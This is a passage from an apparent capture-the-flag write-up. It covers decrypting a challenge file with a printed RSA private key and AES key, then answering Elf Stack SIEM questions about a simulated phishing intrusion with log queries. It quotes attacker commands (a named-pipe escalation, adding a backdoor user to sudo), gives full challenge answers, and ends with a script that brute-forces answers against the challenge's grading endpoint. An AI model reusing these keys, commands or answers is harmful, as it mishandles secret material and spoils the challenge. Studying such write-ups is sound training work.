G9lcm13TFpGdFRxeWU2Q2FwVEJvWjFiWGNFTGxoeitBUkJuSHlICkRHL3JMY00rM1lTc3h1MEFsek4wcklHWDVMbmo0alRHdUZ2bEhudG1HYkxoOVFxSEpEelpLV21UQUNxVWNUTjAKOGJpTSt2NHc1UnRxNlBRb3Q3dllWUmNJQm5KcFR2Mm9xeU9mUlQ4RnJhbzlnMjEzSkE2eG5JOENLOVhKODN3eAo1NmtHcmluQUJVeGFvS0c2czMzK1hSSFR1cnN4S0R4SlB4elA2TkpzZ010VS84a3cwbEFLZ2hvTGNvZkVmbWZlCm9VQWw3Ull3T2ZkZ1VkVkpGZndzM3ZjbFBGeEFVTU5OaUpXOFRsL0lZNm1aNVBwMUdwaStvbUJPeVlmazlpeU0KUzhSNzZhZmozZDBSaHRUMEppaTg4eUZ0TUJWRkxTTDhZMHNYRVhFTWRJWHRveDdmY2IyVGxaeFhvZFlKZUhKQwowZExRM2I3Q0IrU1B5RGozeFpaSEVGajREUlh3dUNZS2xYc2FvbVhMN3E5YnFMOGxqakpxYzRXUldDZTErNTFlCnNGUDlmVU16dWM2bGNiSGN6TGhONWRnUitjcXJpTW84THpyd3BOaWE2RGpHeUJNZk95UExpTjBaN1pmWHJYRHYKVlNiQmpyTXFlTXRDNlNVMTBDZDJtVlpMTkpMakduSXdmL1NkdW83Vm9OVGc4RjlHY2FVclNxSEt1QjNkTVU5YwpydlJIQnhzRHI0aXN6VzRYMExDTTZ6U1U4NGFFUzFrUC9DTktnNHpaWFYyR3ZZTUdGUUtDQVFFQTV3RmQrWWJFCm4wMkhUWm8rOFYwUi9jSzM4TnZFREFBU0t4RXNSRU9UR3liS3c0QjlvQ0w2NHNFOFJZWE9yYllvMk1HTEM3SkwKcTA4eUxyRVdDY1dDT2JkRGhNYlR4WVYrSjByU0d4aUdqaU9MR0dvV3dnS0hTMUZuck9CZEw3YkZCcWF5RVNqaQpFcWZWTmsyVnJtbGhKS09NV3diMkFQR0w4czRxZFFrckhXd3B0cGMrVURKdUpIZGM2UUNzSHJIeWFmYWhmcXdkCmFUSHB5QlJxSUs2OUZtTVNCUGlTTUx4RSsxR0kyeW95MDBaNTVCRUVKalExYlRHMUhkT2tyTmY1ZkJmKzZXTkEKQTNkYy8yTGFEazdJb3RsNVpndWhsd1VReFp6eFdobjJYMjNOVmNRSkdqSjRzMEx3Snl6UGRpMUNVbGdBL1V5UQpyMlVhRDBueFlYbDV5d0tDQVFFQXVGZlEycE1kME03QytSN1NtZk4zNzY1b3FHS0wrMkZ3a1NncmhVVzJhV3psCjI3U215VlNDMExsb0dERzZHb3JyaHRMaXFtZkZHRFcrUkJwRzBhSklUR09TYmUzTjBWSDlwU3U5YnV1cm52SlcKRGppamFOREtKbnVpaG51QkgxVkRzSENaUk9JNld2REZXMXh5QlBYbzVuUlZZNnk1T3IyZUdUaS9rYkIvckVsZApFZHZ1QTJDY3dZT1NudWZmY2NROFRSSStSWExWMUpEVDNsV0dLeFJ2eUd1TVVJTnpOazBuWk44WC9WdzFTSTRKCmRmWmdXcm9peklaOWN1OVJoWVBkenFLVzU1VGR1S1JSRkRiU2JRRWVjUDgvSHhVdzBacjNTM1ovZFdBMnZTbUsKbzNPeG1TSXhuTmxBa1Zad3J0b0xyOHFYZ2d2TjVkVWR3LzBCVHJUWTNRS0NBUUVBeERjcURwQkZwUmFpYmUwdAp0N0NaWHBXdHpoMnR5WStwM3dFSU83ZTJWV0srNmc3VEpsbHdCM21oYTJBNzdOdUVtSkRWUFlzbHNRNWxEcm9HCmdTaE45QjVSY0krK1E5R2ZGVnI5V2x5YnRsSkVqT2xZQ1ZWQ2ZGeGFGc0xCQkkxWGo4MjZCTTlZTUFaMUdWb1AKWVFWTHFXWnVDc2UvMzQ5TWsySkJPQVlncEM1Q3hFQjFnb05EZ1NBT1FDLzlBMW1kRWhxV2xGVTM2aW1tYlBmQwpLWjZqS0VmZ2YyNXdKb3RVZ0xDQjhiOUhTcVJiVnJpSmNMWDZCNVVvUlh5SExQV0tpYmlNSXN2V0ROdXZsNUhzCnJDaUpUYUl4OXRhOFc5M0dvRVF0MFoycDR1Y09lZUk0NVJLbjZZUmJIcnQyUU9neXBHVHgralcxMC9XcGpBRC8KMGc3dnZ3S0NBUUIxVlYvWVg5K1FjcXBqU3AwZDVId29rTWlJdFFFSVprTHlBYkdCeUplTWp3WFhUQ3NFNXNmRQo5dDRzMkNudWp4SE81UmZsQXR2T3h4WnQzcFBKQnhRaG14Y3U1VGdselp3MnI1cUpxWE81WGVJc2R4eDdzTG1hCnVRTC91a2k3bXRmVXpEYWlRNlNGRWM5c2tYRDVlMVJjcXh0V3NDL09GYmMxc29zc3ZqemxlbVRFNDBtaDJMS3QKOFlNM3BicnhmTWdzL2ptb2xxbEgvVTc5cTA0VXlaTkU3RCtKVjhIVGhGUll2aTlVMG9ZUHdtaC9MdXl4a3R4bgpkZ3NQUndpS2hSNS9VYm5mZVQrUE1QZHllRnFEaXp6SEM1QXZ4cHNtTHc3TWQ0WTFQYUpaME1FdnZJb0VRR0YzCnhraDB1YUpMaVBuN1VHWVRIbFJWdjhxTVh0T2dOemY1QW9JQkFETUMyWDVGQmp5eHYveVRBUk9nOERuOTBLdGgKcDJQcUxEVkdlSERMMnYweGN5dkl0aEl2ZTMveEdaZ3RCZ2hmU3lNUGNxWjVzOGgxNW0rL1FOTmQ5NXpsN3hxRgo1REpQb1A2NncrL3dNK1c0bS92b01RTTFrYlFTbkRxdHRMekc0VEFYcmpxa2x2eDBRUUFKQWtDNVg5TDM5V3VFCit1SHJrTDJET09uMzJ0Y1N6aWM4U0hNY1pDZzZWUy9WSVhpOUM3MFhxNHB3YTVSdUZBdFY5dkJvOTB2RDJtK0YKeUlIbExVWGtMUnhGWlBQUVpOd3NBQ0Q4WW9SUFcvdzYwbjJ6N0J6QTVQY0laS05KbFpxYTlpeEJ1bkl4WlhJSQpqZDZmRHhPZVZqVTZ1c0t6U2Vvc29RQ2tFRnZobGtWSDZFSzZYZmg2WERGYXRBblp5RE5WUC9QUGloST0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K
--> DECODED STRING -->
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

The encryption key

Having obtained the private key, we can now decrypt the encrypted key retrieved from the pcap:

The result is 1d1c6165774bd4ef06f2910884b79484,9e60e7c02163359a, wich is in the format <key>,<nonce>.

The solution (Finally 😁)

Knowing that the executable encrypts the file with AES-CBC and having obtained the encryption key, we can finally decrypt the naughty nice list:

The solution of the challenge is the name of this last child: “Xena Xtreme”!

Thanks

Oh my god, this was so painful…I loved it! 😁 I have so many people to thank on this one - especially on the digest part - hopefully I don’t miss anyone.

Thanks to @JollyFrogs

“oh my god…there’s a hard part?”

Thanks to @thezentester

“bruh, you killin me - i cant read that”

Thanks to @Shuckle Lord Mixone

“and I even noticed that “debug data” section in the script…”

Thanks to @winter_soldier

Thanks for the patience!

Thanks to @devastati0n

Your help and the patience were just invaluable!

Elf Stack

Difficulty: ❄ ❄ ❄ ❄ ❄
Help the ElfSOC analysts track down a malicious attack against the North Pole domain.

Hints

Elf Stack Intro

From: Fitzy Shortstack
I’m part of the ElfSOC that protects the interests here at the North Pole. We built the Elf Stack SIEM, but not everybody uses it. Some of our senior analysts choose to use their command line skills, while others choose to deploy their own solution. Any way is possible to hunt through our logs!

Elf Stack Fields

From: Fitzy Shortstack
If you are using your command line skills to solve the challenge, you might need to review the configuration files from the containerized Elf Stack SIEM.

Elf Stack WinEvent

From: Fitzy Shortstack
One of our seasoned ElfSOC analysts told me about a great resource to have handy when hunting through event log data. I have it around here somewhere, or maybe it was online. Hmm.

Elf Stack PowerShell

From: Fitzy Shortstack
Our Elf Stack SIEM has some minor issues when parsing log data that we still need to figure out. Our ElfSOC SIEM engineers drank many cups of hot chocolate figuring out the right parsing logic. The engineers wanted to ensure that our junior analysts had a solid platform to hunt through log data.

Elf Stack Hard - Email1

From: Fitzy Shortstack
I was on my way to grab a cup of hot chocolate the other day when I overheard the reindeer talking about playing games. The reindeer mentioned trying to invite Wombley and Alabaster to their games. This may or may not be great news. All I know is, the reindeer better create formal invitations to send to both Wombley and Alabaster.

Elf Stack Hard - Email2

From: Fitzy Shortstack
Some elves have tried to make tweaks to the Elf Stack log parsing logic, but only a seasoned SIEM engineer or analyst may find that task useful.

Silver (Easy mode)

Question 1: How many unique values are there for the event_source field in all logs?

QUERY:

1
2
FROM * 
| STATS COUNT_DISTINCT(event_source)

RESULTS:

COUNT_DISTINCT(event_source)
5

ANSWER: 5

QUERY:

1
2
3
FROM * 
| STATS COUNT() BY event_source
| SORT `COUNT()` ASC

RESULTS:

COUNT() event_source
269 AuthLog
1398 SnowGlowMailPxy
7476 GreenCoat
34679 NetflowPmacct
2299212 WindowsEvent

ANSWER: AuthLog

Question 3: Using the event_source from the previous question as a filter, what is the field name that contains the name of the system the log event originated from?

QUERY:

1
2
3
FROM * 
| WHERE event_source == "AuthLog"
| LIMIT 1

RESULTS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"@timestamp": "2024-09-16T15:54:01.000Z",
"@version": "1",
"data_stream.dataset": "generic",
"data_stream.namespace": "default",
"data_stream.type": "logs",
"event.OpcodeDisplayNameText": "Unknown",
"event.hostname": "kringleSSleigH",
"event.message": "pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)",
"event.service": "CRON[6738]:",
"event.timestamp": "2024-09-16T18:54:01.289Z",
"event_source": "AuthLog",
"host.ip": "172.18.0.5",
"hostname": "kringleSSleigH",
"log.syslog.facility.code": 1,
"log.syslog.facility.name": "user-level",
"log.syslog.facility.name.text": "user-level",
"log.syslog.severity.code": 5,
"log.syslog.severity.name": "notice",
"log.syslog.severity.name.text": "notice",
"tags": "match",
"type": "syslog"
}

ANSWER: By fetching a random event from AuthLog, we can see that event.hostname contains the hostname of the machine. The answer is event.hostname.

ANSWER: Looking at the results from Question 2, we can see the event_source is NetflowPmacct.

Question 5: Using the event_source from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs?

QUERY:

1
2
3
FROM * 
| WHERE event_source == "NetflowPmacct"
| LIMIT 1

RESULTS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"@timestamp": "2024-09-15T14:37:43.000Z",
"@version": "1",
"data_stream.dataset": "generic",
"data_stream.namespace": "default",
"data_stream.type": "logs",
"event.OpcodeDisplayNameText": "Unknown",
"event.bytes": 40,
"event.dst_host": "",
"event.event_type": "purge",
"event.ip_dst": "172.24.25.25",
"event.ip_proto": "tcp",
"event.ip_src": "172.24.25.93",
"event.packets": 1,
"event.port_dst": 808,
"event.port_src": 29994,
"event.src_host": "SnowSentry.northpole.local",
"event.timestamp_end": "0000-00-00T00:00:00-00:00",
"event.timestamp_start": "2024-09-15T10:37:43-04:00",
"event_source": "NetflowPmacct",
"host.ip": "172.18.0.5",
"hostname": "kringleconnect",
"log.syslog.facility.code": 1,
"log.syslog.facility.name": "user-level",
"log.syslog.facility.name.text": "user-level",
"log.syslog.severity.code": 5,
"log.syslog.severity.name": "notice",
"log.syslog.severity.name.text": "notice",
"tags": "match",
"type": "syslog"
}

ANSWER: By fetching a random event from NetflowPmacct, we can see that event.port_dst contains the destination port. The answer is event.port_dst.

ANSWER: Looking at the results from Question 2, we can see the event_source is SnowGlowMailPxy.

Question 7: Looking at the event source from the last question, what is the name of the field that contains the actual email text?

QUERY:

1
2
3
FROM * 
| WHERE event_source == "SnowGlowMailPxy"
| LIMIT 1

RESULTS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
"@timestamp": "2024-09-16T15:39:44.000Z",
"@version": "1",
"data_stream.dataset": "generic",
"data_stream.namespace": "default",
"data_stream.type": "logs",
"event.Body": "Dear elf_user04,\n\nI wanted to bring to your attention an urgent issue we are currently experiencing with our supply chain. Our team has encountered unexpected delays in the procurement process, leading to potential disruptions in our production schedule. We kindly request your immediate assistance in resolving this matter and ensuring the smooth flow of materials.\n\nThank you for your attention to this critical matter.\n\nBest regards,\n\nSantaSlinger\n",
"event.From": "SantaSlinger@bells.ring",
"event.Message-ID": "<4896F6A2-6094-4333-9DD1-0112A45BD967@SecureElfGwy.northpole.local>",
"event.OpcodeDisplayNameText": "Unknown",
"event.ReceivedIP1": "172.24.25.25",
"event.ReceivedIP2": "172.24.25.20",
"event.Received_Time": "2024-09-16T11:39:44-04:00",
"event.Return-Path": "NorthPolePostmaster@northpole.exchange",
"event.Subject": "Urgent Supply Chain Matter",
"event.To": "elf_user04@northpole.local",
"event_source": "SnowGlowMailPxy",
"host.ip": "172.18.0.5",
"hostname": "SecureElfGwy",
"log.syslog.facility.code": 1,
"log.syslog.facility.name": "user-level",
"log.syslog.facility.name.text": "user-level",
"log.syslog.severity.code": 5,
"log.syslog.severity.name": "notice",
"log.syslog.severity.name.text": "notice",
"tags": "match",
"type": "syslog"
}

ANSWER: By fetching a random event from NetflowPmacct, we can see that event.Body contains the body of the mail. The answer is event.Body.

Question 8: Using the ‘GreenCoat’ event_source, what is the only value in the hostname field?

QUERY:

1
2
3
FROM * 
| WHERE event_source == "GreenCoat"
| STATS COUNT() BY hostname

RESULTS:

COUNT() hostname
7476 SecureElfGwy

ANSWER: SecureElfGwy

Question 9: Using the ‘GreenCoat’ event_source, what is the name of the field that contains the site visited by a client in the network?

QUERY:

1
2
3
FROM * 
| WHERE event_source == "GreenCoat"
| LIMIT 1

RESULTS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
"@timestamp": "2024-09-16T15:32:48.000Z",
"@version": "1",
"data_stream.dataset": "generic",
"data_stream.namespace": "default",
"data_stream.type": "logs",
"event.OpcodeDisplayNameText": "Unknown",
"event.additional_info": "outgoing via 172.24.25.25",
"event.host": "SleighRider",
"event.http_protocol": "HTTP/1.1",
"event.ip": "172.24.25.12",
"event.method": "CONNECT",
"event.protocol": "HTTPS",
"event.response_size": 0,
"event.status_code": 200,
"event.timestamp": "2024-09-16T15:32:48.000Z",
"event.url": "pagead2.googlesyndication.com:443",
"event.user_identifier": "elf_user02",
"event_source": "GreenCoat",
"host.ip": "172.18.0.5",
"hostname": "SecureElfGwy",
"log.syslog.facility.code": 1,
"log.syslog.facility.name": "user-level",
"log.syslog.facility.name.text": "user-level",
"log.syslog.severity.code": 5,
"log.syslog.severity.name": "notice",
"log.syslog.severity.name.text": "notice",
"tags": "match",
"type": "syslog"
}

ANSWER: By fetching a random event from GreenCoat, we can see that event.url contains the url. The answer is event.url.

Question 10: Using the ‘GreenCoat’ event_source, which unique URL and port (URL:port) did clients in the TinselStream network visit most?

QUERY:

1
2
3
4
5
FROM * 
| WHERE event_source == "GreenCoat"
| STATS COUNT() BY event.url
| SORT `COUNT()` DESC
| LIMIT 1

RESULTS:

COUNT() event.url
150 pagead2.googlesyndication.com:443

ANSWER: pagead2.googlesyndication.com:443

Question 11: Using the ‘WindowsEvent’ event_source, how many unique Channels is the SIEM receiving Windows event logs from?

QUERY:

1
2
3
4
FROM * 
| WHERE event_source == "WindowsEvent"
| STATS COUNT() BY event.Channel
| SORT `COUNT()` DESC

RESULTS:

COUNT() event.Channel
2268298 Security
17710 Microsoft-Windows-Sysmon/Operational
11746 Microsoft-Windows-PowerShell/Operational
1217 -
191 System
50 Windows PowerShell

ANSWER: 5 (excluding the null one)

Question 12: What is the name of the event.Channel (or Channel) with the second highest number of events?

ANSWER: Looking at the results from Question 11, we can see the Channel is Microsoft-Windows-Sysmon/Operational.

ANSWER: I simply asked Google :) Answer is 6

Question 14: What is the Windows event ID that is recorded when a new service is installed on a system?

ANSWER: I simply asked Google :) Answer is 4697

Question 15: Using the WindowsEvent event_source as your initial filter, how many user accounts were created?

1
2
FROM * 
| WHERE event.Channel == "Microsoft-Windows-Sysmon/Operational" AND event.EventID == 4720

RESULTS: No results

ANSWER: 0

Gold (Hard mode)

Question 1: What is the event.EventID number for Sysmon event logs relating to process creation?

ANSWER: Answer is 1 (or you can simply ask Google)

Question 2: How many unique values are there for the ‘event_source’ field in all of the logs?

ANSWER: Same answer of Easy Mode Question 2, 5.

Question 3: What is the event_source name that contains the email logs?

ANSWER: Same answer of Easy Mode Question 6, SnowGlowMailPxy.

Question 4: The North Pole network was compromised recently through a sophisticated phishing attack sent to one of our elves. The attacker found a way to bypass the middleware that prevented phishing emails from getting to North Pole elves. As a result, one of the Received IPs will likely be different from what most email logs contain. Find the email log in question and submit the value in the event ‘From:’ field for this email log event.

QUERY:

1
2
3
FROM * 
| WHERE event_source == "SnowGlowMailPxy"
| STATS count() BY event.ReceivedIP2

RESULTS:

COUNT() VALUES(event.From) event.ReceivedIP2
1397 [SantaSlinger@bells.ring, … omissis … ] 172.24.25.20
1 kriskring1e@northpole.local 34.30.110.62

ANSWER: We can observe that only one event was generated by the IP address 34.30.110.62 and that email is coming from kriskring1e@northpole.local. The answer is kriskring1e@northpole.local.

Question 5: Our ElfSOC analysts need your help identifying the hostname of the domain computer that established a connection to the attacker after receiving the phishing email from the previous question. You can take a look at our GreenCoat proxy logs as an event source. Since it is a domain computer, we only need the hostname, not the fully qualified domain name (FQDN) of the system.

QUERY 1:

1
2
3
FROM * 
| WHERE event_source == "SnowGlowMailPxy" AND event.ReceivedIP2 == "34.30.110.62"
| KEEP event.Body

RESULTS 1:

event.Body
We need to store the updated naughty and nice list somewhere secure. I posted it here http://hollyhaven.snowflake/howtosavexmas.zip. Act quickly so I can remove the link from the internet! I encrypted it with the password: n&nli$t_finAl1\n\nthx!\nkris\n- Sent from the sleigh. Please excuse any Ho Ho Ho’s.

QUERY 2:

1
2
3
FROM * 
| WHERE event_source == "GreenCoat" AND event.url LIKE "*hollyhaven.snowflake*"
| KEEP @timestamp, event.host, event.ip

RESULTS 2:

@timestamp event.host event.ip
2024-09-15T14:36:26.000Z SleighRider 172.24.25.12

ANSWER: SleighRider

Question 6: What was the IP address of the system you found in the previous question?

ANSWER: Looking at the results from the previous question, we can see the IP address is 172.24.25.12.

Question 7: A process was launched when the user executed the program AFTER they downloaded it. What was that Process ID number (digits only please)?

QUERY:

1
2
3
FROM * 
| WHERE event_source == "WindowsEvent" AND event.EventID == 1 AND event.Hostname == "SleighRider.northpole.local" AND @timestamp > "2024-09-15T14:36:26.000Z" AND event.Image LIKE "*howtosavexmas*"
| KEEP event.Image, event.ProcessID

RESULTS:

event.Image event.ProcessID
C:\Users\elf_user02\Downloads\howtosavexmas\howtosavexmas.pdf.exe 10,014

ANSWER: In the first query of Hard Mode Question 5 we can observe the file howtosavexmas.zip, the timestamp at which it was downloaded and the interested host. Searching for processes that matches this file on this machine we can find the answer, being the ProcessID 10014.

Question 8: Did the attacker’s payload make an outbound network connection? Our ElfSOC analysts need your help identifying the destination TCP port of this connection.

QUERY:

1
2
3
FROM * 
| WHERE event_source == "WindowsEvent" AND event.ProcessID == 10014 AND event.EventID == 3
| STATS COUNT() BY event.DestinationPort, event.DestinationIp

RESULTS:

COUNT() event.DestinationPort event.DestinationIp
11 389 172.24.25.153
6 808 172.24.25.25
6 143 172.24.25.25
1 8,443 103.12.187.43

ANSWER: Using the ProcessID from the previous query we can observe it did only one connection towards the public IP address 103.12.187.43. The answer to the question is the port on which the connection happened: 8443.

Question 9: The attacker escalated their privileges to the SYSTEM account by creating an inter-process communication (IPC) channel. Submit the alpha-numeric name for the IPC channel used by the attacker.

QUERY:

1
2
3
FROM *
| WHERE event_source == "WindowsEvent" AND event.ProcessID == 10014 AND event.CommandLine LIKE "*pipe*"
| KEEP event.CommandLine

RESULTS:

event.CommandLine
cmd.exe /c echo ddpvccdbr &gt; \\.\pipe\ddpvccdbr

ANSWER: Pivoting on the ProcessID 10014, we can observe the command cmd.exe /c echo ddpvccdbr &gt; \\.\pipe\ddpvccdbr creating a pipe. The answer is the name of this pipe ddpvccdbr.

Question 10: The attacker’s process attempted to access a file. Submit the full and complete file path accessed by the attacker’s process.

QUERY:

1
2
3
FROM *
| WHERE event.EventID == 4663 AND event.ProcessID == 10014
| KEEP event.ObjectName

RESULTS:

event.ObjectName
C:\Users\elf_user02\Desktop\kkringl315@10.12.25.24.pem

ANSWER: Keep pivoting on the ProcessID 10014, we can observe the access to the file C:\Users\elf_user02\Desktop\kkringl315@10.12.25.24.pem which is the answer to the question.

Question 11: The attacker attempted to use a secure protocol to connect to a remote system. What is the hostname of the target server?

QUERY:

1
2
3
FROM *
| WHERE event_source == "AuthLog"
| STATS COUNT() BY event.hostname

RESULTS:

COUNT() event.hostname
269 kringleSSleigH

ANSWER: The file kkringl315@10.12.25.24.pem from previous question looks like a certificate for an ssh username@ip connection. Among the log sources there is AuthLog which reasonably pertains to a linux machine. Having only one machine in scope, its hostname kringleSSleigH is the answer to question.

Question 12: The attacker created an account to establish their persistence on the Linux host. What is the name of the new account created by the attacker?

QUERY:

1
2
3
FROM *
| WHERE event_source == "AuthLog" AND event.message LIKE "*new user*"
| KEEP event.message

RESULTS:

event.message
new user: name=ssdh, UID=1002, GID=1002, home=/home/ssdh, shell=/bin/bash, from=/dev/pts/6

ANSWER: Investigating the logs in the AuthLog source, we can observe the creationg of the user sshd, being the answer to the question.

Question 13: The attacker wanted to maintain persistence on the Linux host they gained access to and executed multiple binaries to achieve their goal. What was the full CLI syntax of the binary the attacker executed after they created the new user account?

QUERY:

1
2
3
4
FROM *
| WHERE event_source == "AuthLog" AND event.message LIKE "*ssdh*"
| SORT @timestamp ASC
| KEEP event.message

RESULTS:

event.message
group added to /etc/group: name=ssdh, GID=1002
new user: name=ssdh, UID=1002, GID=1002, home=/home/ssdh, shell=/bin/bash, from=/dev/pts/6
group added to /etc/gshadow: name=ssdh
new group: name=ssdh, GID=1002
pam_unix(passwd:chauthtok): password changed for ssdh
changed user ‘ssdh’ information
members of group users set by root to kkringl315,pmacct,ssdh
kkringl315 : TTY=pts/5 ; PWD=/opt ; USER=root ; COMMAND=/usr/sbin/usermod -a -G sudo ssdh
add ‘ssdh’ to group ‘sudo’
add ‘ssdh’ to shadow group ‘sudo’

ANSWER: Pivoting on the ssdh, we can observe the attacker used usermod to add the user he just created to the sudoers. The answer is the full CLI syntax: /usr/sbin/usermod -a -G sudo ssdh

Question 14: The attacker enumerated Active Directory using a well known tool to map our Active Directory domain over LDAP. Submit the full ISO8601 compliant timestamp when the first request of the data collection attack sequence was initially recorded against the domain controller.

I spent so much time trying to find the right event and not understanding if the issue was the event I found or the timestamp that I eventually gave up…and bruteforced it :)

Knowing that this event pertains to a Windows machine (event source) and that it must have happened after the download (2024-09-15T14:36:26.000Z), I extracted all subsequent timestamps and built a quick python script to bruteforce the question:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import json
import sys
from termcolor import colored

def answerQuestion (session, questionId, answer):
response = session.get("https://hhc24-elfstack.holidayhackchallenge.com/get_question/{}".format(questionId))
response_json = json.loads(response.text)
token = response_json['token']
question = response_json['question']
print ("{} --> TRYING ANSWER: {}".format(question, answer))
answer_json = {"token":token,"answer":answer}
response = session.post("https://hhc24-elfstack.holidayhackchallenge.com/check_answer", json=answer_json)
if json.loads(response.text)['correct']:
print (colored(" --> ANSWER IS CORRECT", "cyan"))
return True
else:
print (colored(" --> WRONG ANSWER", "red"))
return False

mode = "hard"
known_answers = open("known_answers.txt", "r").read().split("\n")
test_dict = open("dict.txt", "r").read().split("\n")

session = requests.Session()
print (" --> SETTING MODE TO {}".format(mode))
